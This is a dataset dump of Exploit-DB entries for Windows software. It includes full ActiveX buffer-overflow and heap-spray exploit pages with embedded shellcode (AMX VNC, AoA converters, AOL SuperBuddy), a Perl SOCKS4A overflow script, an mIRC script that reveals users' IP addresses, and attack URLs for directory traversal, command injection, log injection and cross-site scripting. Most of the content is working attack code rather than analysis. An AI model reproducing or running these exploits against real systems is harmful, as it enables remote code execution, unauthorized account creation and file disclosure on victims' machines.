deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4123
Description: AMX Corp. VNC ActiveX Control - 'AmxVnc.dll 1.0.13.0' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-06-28
Author: rgod

Exploit:
<!--
21.17 23/06/2007
AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) remote buffer
overflow exploit / tested against IE6 on xp sp2 it

found this one inside GHDB, dork by JimmyNeutron:
WebControl intitle:"AMX NetLinx"
description:   "AMX Netlinx is a server appliance which
connects various devices like a beamer, laptop or video
recorder to the internet."

passing A*2000 to Host property:

EAX 03727C20
ECX 027B7890 ASCII "AAAAAAAA...
EDX 41414141
EBX 027ACE80 AmxVnc.027ACE80
ESP 0013DDFC
EBP 0013DE28
ESI 0013E00C
EDI 00000000
EIP 0278D6D1 AmxVnc.0278D6D1
0278D6D1   FF52 04          CALL DWORD PTR DS:[EDX+4]
Access violation when reading 41414145


Password, LogFile properties are also vulnerable
to the same issue

object safety report:

RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data
IPersist Safe:  Safe for untrusted: caller,data
IPStorage Safe:  Safe for untrusted: caller,data
KillBitSet: False

translation: it works remotely without warnings

rgod
site: retrogod.altervista.org

-->
<HTML>
<object classid='clsid:6318EFFA-BE57-49EE-830C-C5E1ABD9ECCB' id='AmxVnc' ></OBJECT>
<script language='vbscript'>

'metasploit one, add a user "su" with pass "tzu"
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")
nop = string(9999999,unescape("%90"))
jmp = unescape("%ab%08%3e%7e") '0x7e3e08af user32.dll ,stores 0x07c435ff which reasonably points to our 10M nop, found with msfpescan
suntzu = String(1188, "A") + jmp + nop + scode
AmxVnc.[CREDENTIAL_REDACTED]

</script>
</HTML>

# milw0rm.com [2007-06-28]
Exploit-DB #25365
Description: AN HTTPD 1.42 - Arbitrary Log Content Injection
Type: remote
Platform: windows
Date: 2005-04-08
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/13069/info

AN HTTPD is affected by a vulnerability that may allow remote attacker to inject arbitrary content in to the log file. This issue arises due to a failure of input validation.

Corruption of logs may result in concealing attacks and/or misleading an administrator.

This issue can also be exploited to carry out other attacks such as the execution of certain BAT file commands. This can result in the disclosure of source code and text files.

This issue may also aid in the exploitation of the vulnerability described in BID 13066 (AN HTTPD CMDIS.DLL Remote Buffer Overflow Vulnerability).

AN HTTPD 1.42n is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/a%20HTTP/1.0"%20200%202048%0d%0a255.255.255.255%20-%20-%20[06/Mar/2005%3a22%3a31%3a11%20+0800]%20"GET%20/hack

http://www.example.com/%0d%0atype%20cgi-bin%5Ctest.bat

To parse a command through 'cmdIS.DLL':
http://www.example.com/scripts/cmdIS.dll/httpd.log
Exploit-DB #22515
Description: AN HTTPD 1.x - Count.pl Directory Traversal
Type: remote
Platform: windows
Date: 2003-04-22
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7397/info

AN HTTPd contains a sample script named count.pl that may be used as a web counter. This script does not perform adequate access validation on paths containing directory traversal (../) character seqences. The vulnerable script may be used to overwrite any file to which it has write permissions by supplying that file name as input. 

http://www.victim.com/isapi/count.pl??../../../../../../../../../../../../../../../../../../../../../../winnt/explorer.exe
Exploit-DB #19587
Description: AN-HTTPd 1.2b - CGI s
Type: remote
Platform: windows
Date: 1999-11-02
Author: UNYUN

Exploit:
source: https://www.securityfocus.com/bid/762/info

Certain versions of the AN-HTTPd server contain default CGI scripts that allow code to be executed remotely. This is due to poor sanity checking on user supplied data. 

http://www.xxx.yy/cgi-bin/input.bat?|dir..\..\windows
Exploit-DB #21589
Description: AnalogX Proxy 4.0 - Socks4A Buffer Overflow
Type: remote
Platform: windows
Date: 2002-07-01
Author: Kanatoko

Exploit:
source: https://www.securityfocus.com/bid/5138/info

AnalogX Proxy is prone to a buffer overflow condition when attempting to handle malformed SOCKS4A requests (via TCP port 1080). This may be exploited to create a denial of service condition or to potentially execute arbitrary instructions with the privileges of the AnalogX Proxy process. 

#!/usr/local/bin/perl

#-----------------------------------------------------------
# AnalogX Proxy Version 4.10 exploit for Japanese Windows 2000 Pro (SP2)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
# thanx to: hsj (http://hsj.shadowpenguin.org/)
#-----------------------------------------------------------
use Socket;

$connect_host = "socks.example.com";
$port = 1080;
$iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in($port,$iaddr);
socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
connect(SOCKET,$sock_addr) || die "Connect Error\n";
select(SOCKET); $|=1; select(STDOUT);

        # egg written by UNYUN (http://www.shadowpenguin.org/)
        # 57bytes
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf  = "\x04\x01\x00\x19\x00\x00\x00\x01";
$buf .= "A" x 32;
$buf .= $egg;
$buf .= "\x00";
$buf .= "A" x 144;

        # JMP ESP in user32.dll( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B
        # If you use English Windows 2000, try 0x77E2492B
$buf .= "\x2B\x49\xdf\x77";

        # JMP +0x22
$buf .= "\xEB\x22";
$buf .= "\x00";

print SOCKET $buf;
Exploit-DB #20103
Description: AnalogX SimpleServer:WWW 1.0.6 - Directory Traversal
Type: remote
Platform: windows
Date: 2000-07-26
Author: Foundstone Inc.

Exploit:
source: https://www.securityfocus.com/bid/1508/info

Requesting a specially formed url containing encoding (%2E) to SimpleServer 1.06 and possibley earlier versions, will enable a remote user to gain read access to known files above the SimpleServer directory.

http://target/%2E%2E/filename
Exploit-DB #7706
Description: Anope IRC Services With bs_fantasy_ext 1.2.0-RC1 - mIRC script
Type: remote
Platform: windows
Date: 2009-01-08
Author: Phil

Exploit:
; bs_fantasy_ext <= 1.1.16 Exploit by Phil
; Kudos to MattT for pointing this out
; Only seems to work for non-vhosted unresolved IPs
; Code is a little inefficient, sorry.
; Usage: /getip <channel> <nickname> <bs bot nickname>
 
alias getip {
  if ($1 != $null && $2 != $null && $3 != $null) {
    set %exploit.channel $1
    set %exploit.nickname $2
    set %exploit.botnick $3
    set %exploit.prefix *!*@
    set %exploit.counter 1
 
    while (%exploit.counter <= 9) {
      mode %exploit.channel +b %exploit.prefix $+ %exploit.counter $+ *
      inc %exploit.counter
    }
 
    msg %exploit.channel !unban %exploit.nickname
  }
}
 
on 1:UNBAN:#:{
  if ($chan == %exploit.channel && $nick == %exploit.botnick) {
    set %exploit.prefix $left($banmask, $calc($len($banmask) - 1))
 
    set %exploit.counter 0
 
    unbanall %exploit.channel
 
    while (%exploit.counter <= 9) {
      mode %exploit.channel +b %exploit.prefix $+ %exploit.counter $+ *
      inc %exploit.counter
    }
 
    if ($right(%exploit.prefix, 1) != .) {
      mode %exploit.channel +b %exploit.prefix $+ . $+ *
    }
 
    msg %exploit.channel !unban %exploit.nickname
  }
}
 
; Following Code Taken From http://www.hawkee.com/snippet/1661/
alias unbanall {
  set %chan $iif($1,$1,$active)
  ;.timer 0 2 unbanallx
  unbanallx
}
 
alias unbanallx {
  mode  %chan +b
  if ($ibl(%chan,0)) {
    if (%chan ischan)  {
      if ($me isop %chan) || ($me ishop %chan) {
        ;mode %chan +b
        var %x $ibl(%chan,0)
        var %y 0
        while (%y <= %x) {
          var %banlist = $(%banlist,$ibl(%chan,%y))
          inc %y
        }
        mode %chan $+(-,$str(b,$ibl(%chan,0))) %banlist
      }
      else { echo -a ur not op in %chan }
    }
    else { echo -a ur not on %chan }
  }
}

; milw0rm.com [2009-01-08]
Exploit-DB #23560
Description: anteco visual technologies ownserver 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-01-20
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9461/info

A vulnerability in OwnServer 1.0 and earlier has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system.

http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../../boot.ini
http://www.example.com/../../../../../boot.ini
http://www.example.com/../../../../../../boot.ini
Exploit-DB #26491
Description: Antville 1.1 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-11-09
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15372/info

Antville is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Antville version 1.1 is vulnerable; prior versions may also be affected. 

http://www.example.com/antville/project/<script>alert('XSS');</script>
Exploit-DB #14599
Description: AoA Audio Extractor - Remote ActiveX SEH JIT Spray (ASLR + DEP Bypass)
Type: remote
Platform: windows
Date: 2010-08-10
Author: Dr_IDE

Exploit:
Tested on my XPSP3+IE7+/nx=AlwaysOn, should work on Windows 7 with 
the proper return value.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14599.rar (Dr_IDE-AoA-JIT.rar)
Exploit-DB #33431
Description: AoA Audio Extractor Basic 2.3.7 - ActiveX
Type: remote
Platform: windows
Date: 2014-05-19
Author: metacom

Exploit:
<!--
# Exploit Title: AoA Audio Extractor Basic ActiveX
# Date: 19.05.2014
# Author: metacom
# Website: www.rstforums.com
# Software Link: www.aoamedia.com/audioextractor.exe
# Version: 2.3.7
# Tested on: Windows xp sp3EN  IE 6.0
-->
<html>
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' /></object>
<script language='javascript'>
nse="\xEB\x06\xff\xff";
seh="\x58\xE4\x04\x10";
nops="\x90";
while (nops.length<10){ nops+="\x90";}
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
buffer1="\x41";
buffer2="\x42";
while (buffer1.length<2048){ buffer1+=buffer1;}
buffer1=buffer1.substring(0,2048);
buffer2=buffer1;
while (buffer2.length<2048){ buffer2+=buffer2;}
arg1=buffer1+nse+seh+nops+shellcode+buffer2;
arg2="\x52\x53\x54";
arg3="\x52\x53\x54";
arg4="\x52\x53\x54";
arg5="\x52\x53\x54";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );
 

</script>
</html>
Exploit-DB #33432
Description: AoA DVD Creator 2.6.2 - ActiveX
Type: remote
Platform: windows
Date: 2014-05-19
Author: metacom

Exploit:
<!--
# Exploit Title: AoA DVD Creator ActiveX
# Date: 19.05.2014
# Author: metacom
# Website: www.rstforums.com
# Software Link: www.aoamedia.com/aoadvdcreator.exe
# Version: 2.6.2
# Tested on: Windows xp sp3EN  IE 6.0
-->

<html>

<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target'></object>
<script language='javascript'>
nseh="\xEB\x06\x90\x90";
seh="\x1f\x5c\x03\x10";
nops="\x90";
while (nops.length<10){ nops+="\x90";}
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
buff="\x41";
buff2="\x42";
while (buff.length<2032){ buff+=buff;}
buff=buff.substring(0,2032);
buff2=buff;
while (buff2.length<2048){ buff2+=buff2;}
arg1="defaultV";
arg2="defaultV";
arg3=buff+nseh+seh+nops+shellcode+buff2;
arg4="defaultV";
arg5="defaultV";

target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );

</script>
Exploit-DB #33433
Description: AoA MP4 Converter 4.1.2 - ActiveX
Type: remote
Platform: windows
Date: 2014-05-19
Author: metacom

Exploit:
<!--
# Exploit Title: AoA MP4 Converter ActiveX
# Date: 19.05.2014
# Author:metacom 
# Website: www.rstforums.com
# Software Link: www.aoamedia.com/AoAMP4Converter.exe
# Version: 4.1.2
# Tested on: Windows xp sp3EN  IE 6.0
-->
<html>
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' /></object>
<script language='javascript'>
nse="\xEB\x06\x90\x90";
seh="\x70\x6b\x04\x10";
nops="\x90";
while (nops.length<10){ nops+="\x90";}
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk1="\x41";
junk2="\x42";
while (junk1.length<2048){ junk1+=junk1;}
junk1=junk1.substring(0,2048);
junk2=junk1;
while (junk2.length<4048){ junk2+=junk2;}
arg1=junk1+nse+seh+nops+shellcode+junk2;
arg2="RST";
arg3="RST";
arg4="RST";
arg5="RST";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );
 
 
</script>
Exploit-DB #9992
Description: AOL 9.1 SuperBuddy - ActiveX Control Remote code Execution
Type: remote
Platform: windows
Date: 2009-10-01
Author: Trotzkista

Exploit:
<script language='vbscript'>
Set obj = CreateObject("Sb.SuperBuddy.1")
</script>
<script language='javascript'>
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
                     "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
                     "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
                     "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
                     "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
                     "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
                     "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
                     "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
                     "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
                     "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
                     "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
                     "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
                     "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
                     "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
                     "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
                     "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
                     "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
                     "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
                     "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
                     "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
                     "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
                     "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
                     "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
                     "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
                     "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
                     "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
                     "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
                     "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
                     "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
                     "%u7734%u4734%u4570");

bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<666;i++){memory[i] = block+shellcode}
</script>
<script language='vbscript'>
obj.SetSuperBuddy "http://www.suntzu" + string(1999999,"A") + ".com/" 
,"aaaa" + unescape("%0c%0c%0c%0c")  + "bbbbcccc//"
</script>
Exploit-DB #11204
Description: AOL 9.5 - ActiveX Heap Spray
Type: remote
Platform: windows
Date: 2010-01-20
Author: Dz_attacker

Exploit:
<html>
 <head>
  <title>AOL 9.5 ActiveX 0day Exploit (heap spray) </title>
**************************************
<br>[+] AOL 9.5 ActiveX 0day Exploit (heap spray)</br>
<br>[+] Author : Dz_attacker</br>
<br>[+] Discovered by: Hellcode Research  (http://www.hellcode.net)
<br>[+] Reference: http://www.exploit-db.com/exploits/11190
<br>[+] Tested on Windows Xp SP3 ,IE7</br>
**************************************


<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='aol'></object>
<script language='javascript'>

// win32_exec -  calc
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
					'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
					'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
					'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
					'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
					'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
					'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
					'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
					
	 nops=unescape('%u9090%u9090');
	 headersize =20;
	 slackspace= headersize + shellcode.length;
	while(nops.length< slackspace) nops+= nops;
	 fillblock= nops.substring(0, slackspace);
	 block= nops.substring(0, nops.length- slackspace);
	while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;
	 memory=new Array();
	for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
	 ret='';
	for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");
	aol.Import(ret,"Dz_attacker","True","True");
</script>
</head>
</html>